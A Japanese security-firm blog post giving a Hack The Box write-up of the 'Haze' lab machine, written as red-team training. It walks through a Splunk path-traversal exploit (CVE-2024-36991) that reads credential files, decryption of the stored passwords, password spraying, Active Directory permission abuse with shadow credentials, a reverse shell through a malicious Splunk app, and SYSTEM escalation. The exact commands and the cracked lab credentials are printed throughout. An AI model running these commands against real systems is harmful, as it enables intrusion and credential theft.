はじめに
プロフェッショナルサービス部の中村です。
RedTeamサービス、実際のサイバー攻撃手法を用いたセキュリティ体制の評価に関する業務を担当しています。また、サービスを高度化するため、日々のリサーチや技術研鑽も積極的に実施しています。
このブログでは、日々の技術研鑽として取り組んだ Hack the Box Machines Haze (Windows / Hard) の writeup を紹介します。なお、本記事で紹介されている攻撃手法を、許可なく第三者の資産へ対して実施することは禁止されています。
Hack the Box Machinese Haze Writeup
scanning the machine
まずは、nmap
で tcp / udp の全てのポートをスキャンします。
スキャンした結果から、このマシンが Domain Controller であること、つまり Active Directory (以下、AD) が動作していることや、ホスト名がdc01.haze.htb
であることが分かります。
加えて、8000/tcp
, 8088/tcp
, 8089/tcp
から Splunk が動作していることが分かります。
これらの結果から、AD や Splunk に関する攻撃を利用する可能性が高い、と推測します。
tcp
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 14:40 JST
Nmap scan report for haze.htb (10.129.232.50)
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-01 13:41:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp open http Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
8089/tcp open ssl/http Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: splunkd
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49172/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49173/tcp open msrpc Microsoft Windows RPC
49186/tcp open msrpc Microsoft Windows RPC
49193/tcp open msrpc Microsoft Windows RPC
49196/tcp open msrpc Microsoft Windows RPC
49213/tcp open msrpc Microsoft Windows RPC
49250/tcp open msrpc Microsoft Windows RPC
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-01T13:42:21
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 8h00m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.66 seconds
udp
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 14:43 JST
Nmap scan report for haze.htb (10.129.232.50)
Host is up (0.49s latency).
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|_dns-recursion: Recursion appears to be enabled
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-01 13:43:59Z)
123/udp open ntp NTP v3
| ntp-info:
|_
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http
s://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=5/1%Time=68130A2D%P=x86_64-pc-linux-gnu%r(DNS-S
SF:D,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_udp\x05l
SF:ocal\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x
SF:20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8h00m05s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.47 seconds
initial foothold
Splunk が動作するポートのうち8089/tcp
へアクセスすると、Splunk のバージョンが9.2.1であることが分かります。

Splunk 9.2.1 の脆弱性やエクスプロイトを検索すると、CVE-2024-36991 (Path Traversal) の脆弱性やエクスプロイトを発見しました。
https://github.com/jaytiwari05/CVE-2024-36991
この脆弱性とエクスプロイトとによって、ターゲットのファイルを読み取れます。
このエクスプロイトでは、ありがたいことに、認証情報や設定ファイル、ログなどのファイルのパスが予め用意されています。
エクスプロイトを実行した結果を確認したところ、/etc/system/local/authentication.conf
へ記載された認証情報を発見しました。
[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
このうち、bindDNpassword
はパスワードハッシュですが、https://github.com/HurricaneLabs/splunksecrets/tree/master によると splunk.secret
が分かればパスワードを復元できます。
splunk.secret
についてもauthentication.conf
と同様に、CVE-2024-36991 (Path Traversal) の脆弱性とエクスプロイトにより入手できます。
[*] Running: curl -s "<http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret>"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD
これらの情報を基に、パスワードを復元でき、Ld@p_Auth_Sp1unk@2k24
を入手しました。
$ splunksecrets-edit.py 'NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD' '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Ld@p_Auth_Sp1unk@2k24
ただし、当時のhttps://github.com/HurricaneLabs/splunksecrets/tree/master のコードが動作せず、一部を修正する必要がありました。
ユーザ名について、bindDN
のCN=Paul Taylor
を基に、いくつかの組合せを試したところ、paul.taylor
でドメインユーザとしての認証が成功しました。
$ netexec smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24'
SMB 10.129.232.50 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.50 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
しかし、 WinRM や RDP などによるログオンは許可されていませんでした。
$ netexec winrm haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM 10.129.232.50 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.232.50 5985 DC01 [-] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
ドメインユーザpaul.taylor
で SMB のファイル共有や AD オブジェクトなどを列挙・分析した中で、パスワードスプレー攻撃のためドメインユーザの一覧を作成しました。
NT AUTHORITY
HAZE-IT-BACKUP$
PAUL.TAYLOR
mark.adams
edward.martin
これらのユーザへ対し、先ほど入手したパスワード (Ld@p_Auth_Sp1unk@2k24
) でのパスワードスプレー攻撃を実行しました。すると、mark.adams
で同じパスワードにより認証が成功しました。
$ netexec smb haze.htb -u usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
SMB 10.129.232.50 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.50 445 DC01 [-] haze.htb\NT AUTHORITY:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.232.50 445 DC01 [-] haze.htb\HAZE-IT-BACKUP$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB 10.129.232.50 445 DC01 [+] haze.htb\PAUL.TAYLOR:Ld@p_Auth_Sp1unk@2k24
SMB 10.129.232.50 445 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
SMB 10.129.232.50 445 DC01 [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
更に、mark.adams
は WinRM でのログオンが許可されていました。
$ netexec winrm haze.htb -u usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
WINRM 10.129.232.50 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM 10.129.232.50 5985 DC01 [-] haze.htb\NT AUTHORITY:Ld@p_Auth_Sp1unk@2k24
WINRM 10.129.232.50 5985 DC01 [-] haze.htb\HAZE-IT-BACKUP$:Ld@p_Auth_Sp1unk@2k24
WINRM 10.129.232.50 5985 DC01 [-] haze.htb\PAUL.TAYLOR:Ld@p_Auth_Sp1unk@2k24
WINRM 10.129.232.50 5985 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)
WINRM 10.129.232.50 5985 DC01 [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24
これにより、ターゲットへ一般ユーザとしてログオンできました。
$ evil-winrm -i haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mark.adams\Documents>
lateral movement (1)
mark.adams
はgMSA_Managers
というグループのメンバであることが分かります。

gMSA とは group Managed Service Account の略であり、Microsoft が提供する機能の一つです (Link)。gMSA に関する詳細な説明は省略しますが、gMSA_Managers
というグループの名前から、gMSA により管理されているサービスアカウントのパスワードを読み取る権限を有していそうです。しかし、gMSA によって管理されたサービスアカウントのパスワードを読み取るツールを実行したところ、サービスアカウントが存在することは分かるものの、パスワードを入手できませんでした。
$ netexec ldap haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
LDAP 10.129.232.50 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS 10.129.232.50 636 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS 10.129.232.50 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.232.50 636 DC01 Account: Haze-IT-Backup$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Domain Admins
gMSA_Managers
が有する権限を改めて調べたところ、サービスアカウントであるHaze-IT-Backup$
のプロパティms-DS-GroupMSAMembership
への書き込み権限を有していることが分かりました。ms-DS-GroupMSAMembership
プロパティとは、そのアカウントの gMSA パスワードを取得するアクセス許可を設定するためのプロパティです。

つまり、ms-DS-GroupMSAMembership
プロパティへmark.adams
を設定することで、mark.adams
がHaze-IT-Backup$
の gMSA パスワードを読み取れるようになります。
Set-ADServiceAccount
を実行する前後のGet-ADServiceAccount
の実行結果のPrincipalsAllowedToRetrieveManagedPassword
の値を比べると、mark.adams
が追加されていることが分かります。
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity 'Haze-IT-Backup$' -Properties PrincipalsAllowedToRetrieveManagedPassword
DistinguishedName : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled : True
Name : Haze-IT-Backup
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Domain Admins,CN=Users,DC=haze,DC=htb}
SamAccountName : Haze-IT-Backup$
SID : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName :
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Set-ADServiceAccount -Identity 'Haze-IT-Backup$' -PrincipalsAllowedToRetrieveManagedPassword mark.adams
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity 'Haze-IT-Backup$' -Properties PrincipalsAllowedToRetrieveManagedPassword
DistinguishedName : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled : True
Name : Haze-IT-Backup
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Mark Adams,CN=Users,DC=haze,DC=htb}
SamAccountName : Haze-IT-Backup$
SID : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName :
これにより、Haze-IT-Backup$
の gMSA パスワードを入手でき、加えて認証が成功しました。
$ netexec ldap haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
LDAP 10.129.232.50 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS 10.129.232.50 636 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS 10.129.232.50 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.232.50 636 DC01 Account: Haze-IT-Backup$ NTLM: 4de830d1d58c14e241aff55f82ecdba1 PrincipalsAllowedToReadPassword: mark.adams
$ netexec smb haze.htb -u 'Haze-IT-Backup$' -H 4de830d1d58c14e241aff55f82ecdba1
SMB 10.129.232.50 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.50 445 DC01 [+] haze.htb\HAZE-IT-Backup$:4de830d1d58c14e241aff55f82ecdba1
lateral movement (2)
新たに侵害したHaze-IT-Backup$
で探索すると、
Haze-IT-Backup$
がSupport_Services
グループへのWriteOwner
権限を有していることSupport_Services
グループがedward.martin
へのForceChangePassword
権限とAddKeyCredentialLink
権限を有していること
が分かりました。

つまり、
- グループへの
WriteOwner
権限を利用し、グループのOwner
を侵害済みのユーザへ変更、メンバを追加する - 追加したメンバにより、
Edward.Martin
のパスワードを変更する (ForceChangePassword
権限)、またはEdward.Martin
のmsDS-KeyCredentialLink
プロパティを書き換える (AddKeyCredentialLink
権限)
という手順を実行することで、edward.martin
を侵害できます。
実行した攻撃の手順を紹介します。
1. Support_Services
グループのOwner
をHaze-IT-Backup$
へ変更
$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' set owner 'Support_Services' 'Haze-IT-Backup$'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by Haze-IT-Backup$ on Support_Services
2. Haze-IT-Backup$
からSupport_Services
グループへのGenericAll
権限を付与
$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add groupMember 'Support_Services' 'Haze-IT-Backup$'
[+] Haze-IT-Backup$ added to Support_Services
3. Haze-IT-Backup$
をSupport_Services
グループのメンバへ追加
$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add groupMember 'Support_Services' 'Haze-IT-Backup$'
[+] Haze-IT-Backup$ added to Support_Services
4. edward.martin
のmsDS-KeyCredentialLink
プロパティを書き換え、任意の証明書を登録
$ bloodyAD.py --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add shadowCredentials 'edward.martin'
[+] KeyCredential generated with following sha256 of RSA key: 195344e62f0326c19fc731e3c73fd06c0d7818e2e7551affd4ded31b1ea3a8d7
No outfile path was provided. The certificate(s) will be stored with the filename: 98Ql14M3
[+] Saved PEM certificate at path: 98Ql14M3_cert.pem
[+] Saved PEM private key at path: 98Ql14M3_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem 98Ql14M3_cert.pem -key-pem 98Ql14M3_priv.pem haze.htb/edward.martin 98Ql14M3.ccache
5. 登録した証明書でedward.matrin
として認証し、TGT を取得
$ faketime -f +8.0h python3 ~/Resource/pen-testing/PKINITtools/gettgtpkinit.py -cert-pem 98Ql14M3_cert.pem -key-pem 98Ql14M3_priv.pem haze.htb/edward.martin 98Ql14M3.ccache
2025-06-06 01:39:15,403 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-06-06 01:39:15,412 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-06-06 01:39:24,328 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-06-06 01:39:24,328 minikerberos INFO 66d1a3a4ef0c6860c1d10ec3a0aa3b107f281085297a7c5d35066f2b056a79a7
INFO:minikerberos:66d1a3a4ef0c6860c1d10ec3a0aa3b107f281085297a7c5d35066f2b056a79a7
2025-06-06 01:39:24,330 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
コマンドの冒頭のfaketime
について、ローカルのマシンのシステム時刻を偽装することで、ターゲットのマシンとの時刻の差分を解消し、Kerberos 認証を成立させるために必要です。
取得した TGT を使用し、edward.martin
としての WinRM によるログオンが成功しました。
$ export KRB5CCNAME=98Ql14M3.ccache
$ faketime -f '+8.0h' evil-winrm -r haze.htb -u edward.martin -i dc01.haze.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: User is not needed for Kerberos auth. Ticket will be used
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents>
lateral movement (3)
edward.martin
はBackup_Reviewers
というグループのメンバであることから、C:\\Backups
へアクセスできる可能性があります。

C:\\Backups
へアクセスしたところ、Splunk のバックアップが保存されていました。
*Evil-WinRM* PS C:\Users\edward.martin\Documents> ls C:\Backups\Splunk
Directory: C:\Backups\Splunk
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/6/2024 3:22 PM 27445566 splunk_backup_2024-08-06.zip
splunk_backup_2024-08-06.zip
を調査すると、authentication.conf
が存在し、初期に侵害したときとは異なるユーザのパスワードハッシュが記録されていました。
[default]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
同様に、GitHubGitHub - HurricaneLabs/splunksecrets: splunksecrets is a too… によりハッシュを復元でき、Sp1unkadmin@2k24
を入手しました。
$ splunksecrets-edit.py 'CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B' '$1$YDz8WfhoCWmf6aTRkA+QqUI='
Sp1unkadmin@2k24
bindDN
がCN=alexander.green
であるため、alexander.green
のパスワードだと推測しましたが、ログインが失敗しました。
$ netexec smb dc01.haze.htb -u alexander.green -p 'Sp1unkadmin@2k24'
SMB 10.129.232.50 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.50 445 DC01 [-] haze.htb\alexander.green:Sp1unkadmin@2k24 STATUS_LOGON_FAILURE
しかし、alexander.green
がSplunk_Admins
グループのメンバであることから、Spllunk へのログインが許可されたユーザだと推測しました。
そこで、Splunk のログインページである http://haze.htb:8000/ で、パスワードをSp1unkadmin@2k24
として、一般的なユーザ名でパスワードスプレー攻撃を実行すると、admin
でのログインが成功しました。

Splunk には、ユーザが機能を拡張・カスタマイズできる「アプリ (App)」という機能が存在します。
この機能を利用して、任意のコマンドを実行できるかを調査したところ、https://github.com/0xjpuff/reverse_shell_splunk というリポジトリを発見しました。
このリポジトリのREADME
に従って作成した .spl ファイルを Apps > Manage Apps から install app from file からアップロードします。

ファイルをアップロードした直後、reverse shell を確立できました。
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.17.158] from (UNKNOWN) [10.129.232.50] 51871
PS C:\Windows\system32> whoami
haze\alexander.green
privilege escalation
alexander.green
の権限を確認すると、SeImpersonatePrivilege
権限が付与されていました。この権限は非常に強力で、あるプロセスが他のユーザへ偽装できるようになります。つまり、SYSTEM
権限へ昇格することが可能です。
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
今回、Metasploitのgetsystem
コマンドによりSYSTEM
権限へ昇格できました。
meterpreter > getuid
Server username: HAZE\alexander.green
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
SYSTEM
権限へ昇格できたため、このマシンを攻略できました。
appendix
Haze-IT-Backup$
からEdward.Martin
を侵害するとき、ForceChangePassword
権限とAddKeyCredentialLink
権限のうちAddKeyCredentialLink
権限を利用しました。

ForceChangePassword
権限について、他のツールでEdward.Martin
へ対する権限を確認すると、ACCESS_DENIED_OBJECT_ACE
が明示的に設定されていました。
ObjectDN : CN=Edward Martin,CN=Users,DC=haze,DC=htb
ObjectSID : S-1-5-21-323145914-28650650-2368316563-1105
ACEType : ACCESS_DENIED_OBJECT_ACE
ACEFlags : CONTAINER_INHERIT_ACE
AccessMask : ControlAccess
ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT
ObjectAceType : User-Force-Change-Password
InheritanceType : None
SecurityIdentifier : HAZE\Support_Services
実際に、Edward.Martin
のパスワードのリセットを実行しても失敗します。
PV ❯ Set-DomainUserPassword -Identity edward.martin -AccountPassword P@ssw0rd
[2025-06-10 07:09:57] [Set-DomainUserPassword] Principal CN=Edward Martin,CN=Users,DC=haze,DC=htb found in domain
[2025-06-10 07:10:04] LDAPInsufficientAccessRightsResult - 50 - insufficientAccessRights - None - 00000005: SecErr: DSID-031A11EF, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0 - modifyResponse - None
おわりに
以上、Hack the Box Machines Haze の writeup を紹介しました。
Splunk の脆弱性から始まり、Active Directory で横展開しつつ、最後に Splunk の管理者を利用する、という面白いマシンでした。Active Directoryでの横展開では、gMSA へ対する権限の一部が削除されていることや、一部のオブジェクトにおけるプロパティの読み取りが拒否されていること、パスワードリセットの権限が拒否されていることなど、問題としての妨害が工夫されていました。今後も取り組み続け、RedTeamサービスの業務へ活かしていきます。
最後に、弊社では RedTeam コンサルタントを募集しています。
本ブログを読んで興味を持っていただけた方は、ぜひご検討ください。